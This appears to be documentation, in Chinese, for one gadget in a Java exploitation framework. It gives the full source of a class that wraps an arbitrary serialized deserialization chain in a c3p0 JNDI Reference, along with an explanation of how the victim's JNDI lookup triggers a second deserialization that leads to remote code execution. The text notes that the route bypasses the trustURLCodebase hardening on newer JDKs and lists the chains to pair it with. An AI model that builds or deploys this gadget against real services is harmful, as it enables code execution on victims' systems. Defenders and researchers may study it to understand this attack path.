- 类别:jndi 别名:— 优先级:50
- 作者:Unam4
- 依赖:
c3p0
构造一个 JNDI Reference,把工厂设为 c3p0 的 com.mchange.v2.naming.JavaBeanObjectFactory、目标类设为 com.mchange.v2.c3p0.WrapperConnectionPoolDataSource,并把内层 gadget 序列化后的字节以 Hex 编码塞进 userOverridesAsString 属性。受害端在 JNDI lookup 解析该 Reference、由 JavaBeanObjectFactory 还原 WrapperConnectionPoolDataSource 时,会对 userOverridesAsString 里的 HexAsciiSerializedMap.<hex>. 执行一次 Java 原生反序列化——从而把「JNDI 注入」转成「二次反序列化」,让上游的 JNDI 入口能够触发任意 Java 反序列化 payload。
- 入口
tags:Reference—— 本 gadget 产出的就是一个 JNDIReference对象,供 LDAP/RMI 等 JNDI 服务端返回;上游若有nextTags指向Reference即可衔接到它。 - 衔接
nextTags:JavaNativeDeserializePayload、CustomJavaDeserialize—— 之后需接一个能产出「Java 原生序列化字节」的下游(一个完整的 Java 反序列化利用链,如 CB1 / CC 链,或用户自定义序列化数据),由它给出将被 c3p0 二次反序列化的字节流。 excludes:无。
@GadgetTags(tags={"Reference"}, nextTags={"JavaNativeDeserializePayload", "CustomJavaDeserialize"})
public class JavaBeanObjectFactoryHexDS implements Gadget {
public Reference getObject(Object object) throws Exception {
String hex = Hex.encodeHexString((byte[]) CommonMethod.handleSerialized(object));
String hexAsciiSerializedMapString = "HexAsciiSerializedMap." + hex + ".";
Reference ref = new Reference(
"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"com.mchange.v2.naming.JavaBeanObjectFactory", null);
ref.add(new StringRefAddr("userOverridesAsString", hexAsciiSerializedMapString));
return ref;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject(chain.doCreate(context));
}
}逐段解释:
chain.doCreate(context):先由下游产出「内层对象」——这里期望的是一个可被 Java 原生序列化的完整反序列化利用链对象(对应nextTags的JavaNativeDeserializePayload/CustomJavaDeserialize)。CommonMethod.handleSerialized(object):把内层对象序列化成byte[];随后Hex.encodeHexString把字节转成十六进制字符串。"HexAsciiSerializedMap." + hex + ".":拼成 c3p0 约定的前缀格式。WrapperConnectionPoolDataSource在读取userOverridesAsString时,会识别HexAsciiSerializedMap.前缀,取出中间的 hex,C3P0ImplUtils将其解码为字节后进行SerializableUtils.fromByteArray(即ObjectInputStream.readObject),触发二次反序列化。new Reference(className, factory, null):第 1 参是被还原的目标类WrapperConnectionPoolDataSource,第 2 参是负责实例化并回填 JavaBean 属性的工厂JavaBeanObjectFactory。受害端NamingManager.getObjectInstance调用该 factory,实例化目标类并按 RefAddr 设置属性userOverridesAsString,从而在 setter 阶段引爆二次反序列化。
触发条件:受害进程存在可控 JNDI lookup(LDAP/RMI 引用返回本 Reference),且 classpath 具备 c3p0(com.mchange.v2.*)。由于走 c3p0 本地 factory,不需要远程 codebase 下载,也不受 com.sun.jndi.ldap.object.trustURLCodebase=false 限制——这正是本路线在高版本 JDK 下仍可用的关键。
本类无 @Param。核心输入(待二次反序列化的对象)由链上下游经 chain.doCreate(context) 注入,不作为用户直填参数。
- 依赖目标 classpath 存在 c3p0,用到
com.mchange.v2.naming.JavaBeanObjectFactory与com.mchange.v2.c3p0.WrapperConnectionPoolDataSource。 - 本质是把 JNDI 注入「桥接」为二次反序列化:外层是 JNDI Reference,内层是任意 Java 原生反序列化链,绕过仅在入口做 JNDI 加固、却未收敛后续反序列化面的场景。
- c3p0 本地 factory 路线不触发远程类加载,天然规避
trustURLCodebase加固。 - 最终能否 RCE 取决于内层反序列化链在受害端 classpath 上是否可用(如 commons-beanutils / commons-collections)。
自由构件,未直接出现在预设链(usedInChains 为空)。常作为「JNDI → 二次反序列化」的桥接环节,与任意 Java 原生反序列化链自由组合。
- 下游(
nextTags=JavaNativeDeserializePayload / CustomJavaDeserialize):任意 Java 原生反序列化链,如 CommonsBeanutils1、CommonsCollectionsK1等,或UserCustomSerializeData类自定义序列化数据。 - 同族(其他 JNDI Reference / c3p0 二次反序列化路线):LdapClassLoader、
MchangeC3p0HexSerialize、C3p0_C3p0HexSerialize、MchangeC3p0Reference。